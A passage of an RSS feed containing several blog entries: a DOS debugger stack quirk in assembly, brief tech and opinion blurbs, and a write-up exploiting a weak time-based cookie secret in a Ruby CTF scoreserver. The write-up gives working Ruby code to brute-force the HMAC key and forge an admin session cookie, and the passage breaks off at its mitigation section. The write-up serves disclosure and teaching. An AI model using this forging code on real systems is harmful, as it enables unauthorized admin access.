  &lt;span class="hljs-keyword"&gt;mov&lt;/span&gt; &lt;span class="hljs-built_in"&gt;ax&lt;/span&gt;,&lt;span class="hljs-number"&gt;100&lt;/span&gt;
  &lt;span class="hljs-keyword"&gt;mov&lt;/span&gt; [&lt;span class="hljs-built_in"&gt;bp&lt;/span&gt;-N],&lt;span class="hljs-built_in"&gt;ax&lt;/span&gt;
  &lt;span class="hljs-keyword"&gt;mov&lt;/span&gt; &lt;span class="hljs-built_in"&gt;cx&lt;/span&gt;,[&lt;span class="hljs-built_in"&gt;bp&lt;/span&gt;-N]
  &lt;span class="hljs-keyword"&gt;cmp&lt;/span&gt; &lt;span class="hljs-built_in"&gt;cx&lt;/span&gt;,&lt;span class="hljs-built_in"&gt;ax&lt;/span&gt;
  &lt;span class="hljs-keyword"&gt;jne&lt;/span&gt; wrong
  &lt;span class="hljs-keyword"&gt;mov&lt;/span&gt; &lt;span class="hljs-built_in"&gt;dx&lt;/span&gt;,offset msg
  &lt;span class="hljs-keyword"&gt;jmp&lt;/span&gt; disp
&lt;span class="hljs-symbol"&gt;wrong:&lt;/span&gt;
  &lt;span class="hljs-keyword"&gt;mov&lt;/span&gt; &lt;span class="hljs-built_in"&gt;dx&lt;/span&gt;,offset msg2
&lt;span class="hljs-symbol"&gt;disp:&lt;/span&gt;
  &lt;span class="hljs-keyword"&gt;mov&lt;/span&gt; &lt;span class="hljs-number"&gt;ah&lt;/span&gt;,&lt;span class="hljs-number"&gt;9&lt;/span&gt;
  &lt;span class="hljs-keyword"&gt;int&lt;/span&gt; &lt;span class="hljs-number"&gt;21h&lt;/span&gt;
  &lt;span class="hljs-keyword"&gt;mov&lt;/span&gt; &lt;span class="hljs-built_in"&gt;ax&lt;/span&gt;,&lt;span class="hljs-number"&gt;4c00h&lt;/span&gt;
  &lt;span class="hljs-keyword"&gt;int&lt;/span&gt; &lt;span class="hljs-number"&gt;21h&lt;/span&gt;

msg &lt;span class="hljs-built_in"&gt;db&lt;/span&gt; &lt;span class="hljs-string"&gt;&amp;quot;ok$&amp;quot;&lt;/span&gt;
msg2 &lt;span class="hljs-built_in"&gt;db&lt;/span&gt; &lt;span class="hljs-string"&gt;&amp;quot;wrong$&amp;quot;&lt;/span&gt;
end start
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you assemble, link and then execute it normally, typing &lt;code&gt;prog&lt;/code&gt; in the DOS command line, it will output the string “ok”. But if you trace through the program in a debugger instead, it will say “wrong”! What’s wrong?&lt;/p&gt;&lt;p&gt;The problem is in lines 10-11 (instructions 3-4). Here’s what happens when you trace through this program in DOS 6.22’s &lt;code&gt;DEBUG.EXE&lt;/code&gt;:&lt;/p&gt;&lt;img src="/img/blog/debug.png" /&gt;
&lt;p&gt;Note how in instruction 3 (actually displayed as the second above) we set the word &lt;code&gt;SS:0xFFFC&lt;/code&gt; to &lt;code&gt;100&lt;/code&gt;. When about to execute the following instruction, we would expect that word to continue to hold the value &lt;code&gt;100&lt;/code&gt;, because nothing which could have changed that value has happened in between. Instead, the debugger still reports it as &lt;code&gt;0x0D8A&lt;/code&gt;, as if instruction 3 had not been executed at all — and, interestingly, after actually executing this instruction, &lt;code&gt;CX&lt;/code&gt; gets yet another value of &lt;code&gt;0x7302&lt;/code&gt;!&lt;/p&gt;&lt;p&gt;Normally, thinking of DOS &lt;code&gt;.COM&lt;/code&gt; programs, you assume a 64KB-long chunk of memory that the program has all to itself: the code starts at &lt;code&gt;0x100&lt;/code&gt;, the stack grows from &lt;code&gt;0xFFFE&lt;/code&gt; downwards (at any given time, the region from &lt;code&gt;SP&lt;/code&gt; to &lt;code&gt;0xFFFE&lt;/code&gt; contains data currently on the stack), and all memory in between is free for the program to use however it deems fit. It turns out that, when debugging, it is not the case: the debuggers need to manipulate the region just underneath the program’s stack in order to handle the tracing/breakpoint interrupt traps.&lt;/p&gt;&lt;p&gt;I’ve verified that both DOS’s DEBUG and Borland’s Turbo Debugger 5 do this. The unsafe-to-touch amount of space below SP that they need, however, varies. Manipulating the N constant in the original program, I’ve determined that DEBUG only needs 8 bytes below SP, whereas for TD it is a whopping 18 bytes.&lt;/p&gt;&lt;/div&gt;</description><author>code · words · emotions: Daniel Janus’s blog</author><pubDate>Sun, 06 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">http://blog.danieljanus.pl/dos-debugging-quirk/</guid></item><item><title>San Francisco and other updates</title><link>https://liza.io/san-francisco-and-other-updates/</link><description>&lt;p&gt;I finally installed Octopress on the new Macbook Air. Finally. My last update was a while ago. Since the &lt;a href="https://liza.io/an-icy-walk-of-creepitude/"&gt;Icy Walk of Creepitude&lt;/a&gt; the main thing that&amp;rsquo;s happened has been the trip to San Francisco for GDC 2014. This has been my third year going. This year I focused mostly on attending the tools talks - specifically the several tools roundtable/discussion sessions. I ended up meeting a few people from the other EA studios after the first talk and having a nice chat about our build systems and presubmission testing.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sat, 05 Apr 2014 22:03:24 GMT</pubDate><guid isPermaLink="true">https://liza.io/san-francisco-and-other-updates/</guid></item><item><title>Ninject Modules</title><link>https://daniellittle.dev/ninject-modules</link><description>Ninject is a fantastic Dependency Injection framework for the .NET framework. You can bind to the kernel whenever you want however you…</description><author>Daniel Little Dev</author><pubDate>Sat, 05 Apr 2014 00:08:50 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/ninject-modules</guid></item><item><title>Discrimination Comes Full-Circle</title><link>https://zacs.site/blog/discrimination-comes-full-circle.html</link><description>&lt;p&gt;Last week when I wrote &lt;a href="https://zacs.site/blog/hedge-yourself.html"&gt;&lt;em&gt;Hedge Yourself Before They Wreck Yourself&lt;/em&gt;&lt;/a&gt;, I talked about the regrettable situation we have found ourselves in with regards to the discourse around issues like sexism. Rather than affecting meaningful change, this community has grown into a hodgepodge of pseudo-activists more concerned with the lexicon used in furthering their professed cause than actually making any meaningful progress. Unfortunately, this divergence has led to a great deal of hostility, confusion, and &lt;a href="https://zacs.site/blog/always-on-vacation-in-california.html"&gt;outright unwillingness for well-meaning and concerned individuals to participate whatsoever&lt;/a&gt;. Thankfully, this culture of misplaced priorities and general disrespect of their fellow human beings has yet to permeate the discussions surrounding another important social issue, ageism; however, &lt;a href="https://zacs.site/blog/youth-problem.html"&gt;we likely have little time before it, too, becomes infected in a similarly deplorable way&lt;/a&gt;. For all my condemnatory prose, though, I never talked about actually having an opinion one way or the other: I opined against a community that would discourage anyone from sharing their personal beliefs, but said nothing of a culture that actively discourages &lt;em&gt;having&lt;/em&gt; a belief.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/discrimination-comes-full-circle.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 04 Apr 2014 13:03:27 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/discrimination-comes-full-circle.html</guid></item><item><title>An Exercise in Weak Random Seed Exploitation</title><link>https://blog.tjll.net/weak-random-seed-rack-exploit/</link><description>&lt;p&gt;
Last weekend I participated in a capture-the-flag event sponsored by &lt;a href="http://www.bishopfox.com/"&gt;Bishop Fox&lt;/a&gt; and ran by students at BYU. Following the event I decided that it may be fun to try and crack the scoring software itself &amp;ndash; so I've written up the process here to explain how I put the exploit together.
&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;
Although spoofing client-side authentication tokens is nothing new (and the targeted framework in this case isn't a widespread one like Rails or something similar), this exercise serves as a good, very simple example of taking a high-level problem like weak randomness and leveraging it to own an application.
&lt;/p&gt;

&lt;p&gt;
&lt;b&gt;Note&lt;/b&gt;: the only vulnerabilities mentioned here are within the framework itself and don't have anything to do with the CTF's sponsor or BYU itself. With that all being said, let's get started!
&lt;/p&gt;
&lt;div class="outline-4" id="outline-container-prelude-rack-cookies"&gt;
&lt;h4 id="prelude-rack-cookies"&gt;Prelude: Rack Cookies&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-org6fdd5a6"&gt;
&lt;p&gt;
Before continuing, I recommend reading the entirety of &lt;a href="http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/"&gt;an excellent blog entry&lt;/a&gt; which explains the plumbing behind how typical ruby rack-based webapps handle cookies. In a nutshell, ruby places a cookie on the client's browser which it creates by first putting together a hash which looks something like this:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;Ruby&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-string"&gt;Font used to highlight strings.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-ruby"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;{&lt;/span&gt; &lt;span class="org-string"&gt;'session_id'&lt;/span&gt; =&amp;gt; &lt;span class="org-string"&gt;'78894f58c088a9c6555370a0d97e373e715b91bc'&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-1"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Ruby then stores this client-side by 1) using &lt;code&gt;Marshal.dump&lt;/code&gt; to serialize the data structure, 2) base 64 encoding the resulting string, and finally 3) calculating an &lt;a href="https://en.wikipedia.org/wiki/HMAC"&gt;HMAC&lt;/a&gt; of the message. Read up on HMACs if you're unfamiliar, but they essentially provide message integrity checking, which ruby leverages to ensure you haven't tampered with your cookie.
&lt;/p&gt;

&lt;p&gt;
After performing these operations on the hash (dictionary if you're a pythonista), ruby sends over a header of this form:
&lt;/p&gt;

&lt;pre class="example"&gt;
Set-Cookie:"rack.session={base64-encoded message body}--{hmac};"
&lt;/pre&gt;

&lt;p&gt;
An actual cookie would look like this, for example:
&lt;/p&gt;

&lt;pre class="example"&gt;
Set-Cookie:"rack.session=BAh7BkkiD3Nlc3Npb25faWQGOgZFVEkiRTViNDY1NjdkYTAzYjYwYTdlZGIy%0ANDg4NWEyMzVlY2E2YzRkYmM5M2IwYzgxZWJlMDc1NmQ0NGRmODE0ZjEzYjAG%0AOwBG%0A--2148e8dc04eeba3bf0f4e0d70c04465b61c4758d;"
&lt;/pre&gt;

&lt;p&gt;
An interesting side effect of this strategy is that the message body is entirely recoverable by the client &amp;ndash; that is, you could deserialize the base 64 message and pull the original ruby object out again.
&lt;/p&gt;

&lt;p&gt;
What lends credibility to the cookie from ruby's perspective is that the HMAC must validate that the message body has essentially been "signed" by the secret key you define in the ruby code. Thus the process through which ruby's cookie becomes tamper-proof follows the diagram below:
&lt;/p&gt;


&lt;div class="figure" id="org26183b9"&gt;
&lt;p&gt;&lt;img alt="hmac.png" class="mainline opaque" src="../assets/images/hmac.png" /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span class="figure-number"&gt;Figure 1: &lt;/span&gt;Simple HMAC diagram&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;
Of course, if you could forge your own cookie, you could set any parameter you want and thus control the internal &lt;code&gt;session&lt;/code&gt; hash that the webapp uses. But without the key, your HMAC would fail to validate server-side.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-introduction"&gt;
&lt;h4 id="introduction"&gt;Introduction&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-org7d3c11e"&gt;
&lt;p&gt;
The &lt;a href="https://github.com/tylerjl/ctf-scoreserver"&gt;CTF scoring engine&lt;/a&gt; in question is straightfoward &lt;a href="http://www.sinatrarb.com/"&gt;Sinatra&lt;/a&gt;-based webapp that uses some fundamental Rails mechanisms like Rack and ActiveRecord to provide a simple yet useful CTF scoreboard. Go ahead and take a look at the code, it's short and sweet.
&lt;/p&gt;

&lt;p&gt;
One interesting behavior of the webapp is that, by default, no config file is committed to the codebase &amp;ndash; instead, the config file is generated at runtime, which presumably happens after the git repo is cloned and left alone thereafter. The configuration file is created by the code below:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;Ruby&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-variable-name"&gt;Font used to highlight variable names.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-comment"&gt;Font used to highlight comments.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-comment-delimiter"&gt;Font used to highlight comment delimiters.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-type"&gt;Font used to highlight type and class names.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-string"&gt;Font used to highlight strings.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-builtin"&gt;Font used to highlight builtins.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-keyword"&gt;Font used to highlight keywords.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-ruby"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-keyword"&gt;begin&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-builtin"&gt;require&lt;/span&gt; &lt;span class="org-string"&gt;'./config.rb'&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;rescue&lt;/span&gt; &lt;span class="org-type"&gt;Exception&lt;/span&gt; =&amp;gt; e&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-comment-delimiter"&gt;# &lt;/span&gt;&lt;span class="org-comment"&gt;create default config.rb&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;  &lt;span class="org-builtin"&gt;open&lt;/span&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;&lt;span class="org-string"&gt;'./config.rb'&lt;/span&gt;, &lt;span class="org-string"&gt;"w+"&lt;/span&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-1"&gt;{&lt;/span&gt;|f|&lt;/code&gt;
&lt;code&gt;    f.puts &amp;lt;&amp;lt;-&lt;span class="org-string"&gt;"EOS"&lt;/code&gt;
&lt;code&gt;COOKIE_SECRET = "&lt;/span&gt;&lt;span class="org-variable-name"&gt;#{Digest::SHA1.hexdigest(Time.now.to_s)}&lt;/span&gt;&lt;span class="org-string"&gt;"&lt;/code&gt;
&lt;code&gt;ADMIN_PASS_SHA1 = "08a567fa1a826eeb981c6762a40576f14d724849" #ctfadmin&lt;/code&gt;
&lt;code&gt;STYLE_SHEET = "/style.css"&lt;/code&gt;
&lt;code&gt;HTML_TITLE = "scoreserver.rb CTF"&lt;/code&gt;
&lt;code&gt;EOS&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;    f.flush&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-rainbow-delimiters-depth-1"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-builtin"&gt;require&lt;/span&gt; &lt;span class="org-string"&gt;'./config.rb'&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;end&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Note that the &lt;code&gt;COOKIE_SECRET&lt;/code&gt; is the aforementioned key that is used to derive an HMAC of our session variable. You'll notice that the secret is a SHA-1 of &lt;code&gt;Time.now.to_s&lt;/code&gt;.
&lt;/p&gt;

&lt;p&gt;
And therein lies our insufficiently random seed.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-underlying-cause"&gt;
&lt;h4 id="underlying-cause"&gt;Underlying Cause&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-org0761937"&gt;
&lt;p&gt;
At this point it should be clear that the cookie secret needs to be&amp;hellip; well&amp;hellip; secret. The ability to spoof cookies (if you could generate a valid HMAC with the secret key) would give you complete control over session permissions.
&lt;/p&gt;

&lt;p&gt;
The root vulnerability in this instance is very poor random seeding. In this code, the value we're SHA1-hashing has only second-level precision, so we can brute force the entire domain of possible cookie secrets for a single day with only 60 ⨯ 60 ⨯ 24 attempts (which, in my testing, you can zip through &lt;i&gt;pretty&lt;/i&gt; quickly.)
&lt;/p&gt;

&lt;p&gt;
This would be marginally less bad if we were rate-limited in our brute forcing attempts, but because the cookie we've been given by ruby is the complete data structure, we don't need to attempt to validate against the webapp with every attempt &amp;ndash; we can simply attempt to recalculate the HMAC every time until we find the key that creates an identical HMAC to the one sent to us by the application.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-proof-of-concept"&gt;
&lt;h4 id="proof-of-concept"&gt;Proof-of-concept&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-org03562f3"&gt;
&lt;p&gt;
In order to determine whether we can actually duplicate the HMAC, let's try it!
&lt;/p&gt;

&lt;p&gt;
First, acquire the cookie and HMAC from the webapp. If you want to try this yourself, try cloning the scoreserver application and running it yourself (sorry, my ruby is terse, I know):
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;Ruby&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-constant"&gt;Font used to highlight constants and labels.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-type"&gt;Font used to highlight type and class names.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-string"&gt;Font used to highlight strings.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-builtin"&gt;Font used to highlight builtins.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-ruby"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-builtin"&gt;require&lt;/span&gt; &lt;span class="org-string"&gt;'faraday'&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;connection = &lt;span class="org-type"&gt;Faraday&lt;/span&gt;.new&lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;&lt;span class="org-constant"&gt;:url&lt;/span&gt; =&amp;gt; &lt;span class="org-string"&gt;'http://localhost:4567'&lt;/span&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;response = connection.get &lt;span class="org-string"&gt;'/'&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;cookie, hmac = response.headers&lt;span class="org-rainbow-delimiters-depth-1"&gt;[&lt;/span&gt;:&lt;span class="org-string"&gt;'set-cookie'&lt;/span&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;]&lt;/span&gt;.split.first.chop.split&lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;&lt;span class="org-string"&gt;'='&lt;/span&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt;.last.split&lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;&lt;span class="org-string"&gt;'--'&lt;/span&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Now we just need to create an instance of &lt;code&gt;Time.now&lt;/code&gt; and create HMACs  until ours matches the one passed to us by rack. We'll decrease our time object by one second each iteration until we hit the matching time string that SHA1 hashes out to the session key:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;Ruby&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-type"&gt;Font used to highlight type and class names.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-function-name"&gt;Font used to highlight function names.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-keyword"&gt;Font used to highlight keywords.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-string"&gt;Font used to highlight strings.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-builtin"&gt;Font used to highlight builtins.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-ruby"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-builtin"&gt;require&lt;/span&gt; &lt;span class="org-string"&gt;'digest/sha1'&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-builtin"&gt;require&lt;/span&gt; &lt;span class="org-string"&gt;'openssl'&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;def&lt;/span&gt; &lt;span class="org-function-name"&gt;create_hmac&lt;/span&gt; message, key&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-type"&gt;OpenSSL&lt;/span&gt;::&lt;span class="org-type"&gt;HMAC&lt;/span&gt;.hexdigest&lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;&lt;span class="org-type"&gt;OpenSSL&lt;/span&gt;::&lt;span class="org-type"&gt;Digest&lt;/span&gt;::&lt;span class="org-type"&gt;SHA1&lt;/span&gt;.new, key, &lt;span class="org-type"&gt;CGI&lt;/span&gt;.unescape&lt;span class="org-rainbow-delimiters-depth-2"&gt;(&lt;/span&gt;message&lt;span class="org-rainbow-delimiters-depth-2"&gt;)&lt;/span&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;end&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;seed = &lt;span class="org-type"&gt;Time&lt;/span&gt;.now&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;while&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;hmac != create_hmac&lt;span class="org-rainbow-delimiters-depth-2"&gt;(&lt;/span&gt;cookie, &lt;span class="org-type"&gt;Digest&lt;/span&gt;::&lt;span class="org-type"&gt;SHA1&lt;/span&gt;.hexdigest&lt;span class="org-rainbow-delimiters-depth-3"&gt;(&lt;/span&gt;seed.to_s&lt;span class="org-rainbow-delimiters-depth-3"&gt;)&lt;/span&gt;&lt;span class="org-rainbow-delimiters-depth-2"&gt;)&lt;/span&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt; &lt;span class="org-keyword"&gt;do&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    seed -= 1&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;end&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;key = &lt;span class="org-type"&gt;Digest&lt;/span&gt;::&lt;span class="org-type"&gt;SHA1&lt;/span&gt;.hexdigest&lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;seed.to_s&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Great, we've cracked the key! The &lt;code&gt;key&lt;/code&gt; variable will allow us to create a valid HMAC that the rack application will accept as valid.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-exploitation"&gt;
&lt;h4 id="exploitation"&gt;Exploitation&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-orgae46330"&gt;
&lt;p&gt;
With the key recovered, we can just look at the application's source to determine what we need to elevate our privileges to that of an admin. First, deserialize the cookie to recover the ruby data structure:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;Ruby&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-type"&gt;Font used to highlight type and class names.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-ruby"&gt;&lt;code&gt;&lt;code&gt;params = &lt;span class="org-type"&gt;Marshal&lt;/span&gt;.load&lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;&lt;span class="org-type"&gt;Base64&lt;/span&gt;.decode64&lt;span class="org-rainbow-delimiters-depth-2"&gt;(&lt;/span&gt;&lt;span class="org-type"&gt;CGI&lt;/span&gt;.unescape&lt;span class="org-rainbow-delimiters-depth-3"&gt;(&lt;/span&gt;cookie&lt;span class="org-rainbow-delimiters-depth-3"&gt;)&lt;/span&gt;&lt;span class="org-rainbow-delimiters-depth-2"&gt;)&lt;/span&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
After a brief look at the application &lt;a href="https://github.com/tylerjl/ctf-scoreserver/blob/master/admin.rb#L35"&gt;source&lt;/a&gt;, we can modify our hash to grant ourselves admin privilieges:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;Ruby&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-constant"&gt;Font used to highlight constants and labels.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-string"&gt;Font used to highlight strings.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-ruby"&gt;&lt;code&gt;&lt;code&gt;params.merge!&lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;&lt;span class="org-rainbow-delimiters-depth-2"&gt;{&lt;/span&gt; &lt;span class="org-string"&gt;'admin'&lt;/span&gt; =&amp;gt; &lt;span class="org-constant"&gt;true&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-2"&gt;}&lt;/span&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Following which, we can reconstruct our cookie:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;Ruby&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-variable-name"&gt;Font used to highlight variable names.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-string"&gt;Font used to highlight strings.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-type"&gt;Font used to highlight type and class names.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-ruby"&gt;&lt;code&gt;&lt;code&gt;bad_cookie = &lt;span class="org-type"&gt;CGI&lt;/span&gt;.escape&lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;&lt;span class="org-type"&gt;Base64&lt;/span&gt;.encode64&lt;span class="org-rainbow-delimiters-depth-2"&gt;(&lt;/span&gt;&lt;span class="org-type"&gt;Marshal&lt;/span&gt;.dump&lt;span class="org-rainbow-delimiters-depth-3"&gt;(&lt;/span&gt;params&lt;span class="org-rainbow-delimiters-depth-3"&gt;)&lt;/span&gt;&lt;span class="org-rainbow-delimiters-depth-2"&gt;)&lt;/span&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;bad_hmac = create_hmac&lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;bad_cookie, key&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;header = &lt;span class="org-string"&gt;"rack.session=&lt;/span&gt;&lt;span class="org-variable-name"&gt;#{bad_cookie}&lt;/span&gt;&lt;span class="org-string"&gt;--&lt;/span&gt;&lt;span class="org-variable-name"&gt;#{bad_hmac}&lt;/span&gt;&lt;span class="org-string"&gt;;"&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Bingo! Pop the contents of &lt;code&gt;header&lt;/code&gt; into your &lt;code&gt;Cookie&lt;/code&gt; HTTP header and smoke it. Admin privileges ahoy.
&lt;/p&gt;

&lt;p&gt;
At this point it should be pretty straightforward to either masquerade with this forged cookie or continue to script your way to retrieve each challenge's answer, which is left to the reader (the application's source is useful for this.)
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-mitigation"&gt;
&lt;h4 id="mitigation"&gt;Mitigation&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-org4a9f4e0"&gt;
&lt;p&gt;
I've committed a change to the scoreserver code on my branch which you can &lt;a href="https://github.com/tylerjl/ctf-scoreserver/commit/6e5cd6c62e45dfcb77745bf8087112ad264b8024"&gt;see on github&lt;/a&gt;. The jist of it is that instead of generating the cookie secret with:
&lt;/p&gt;

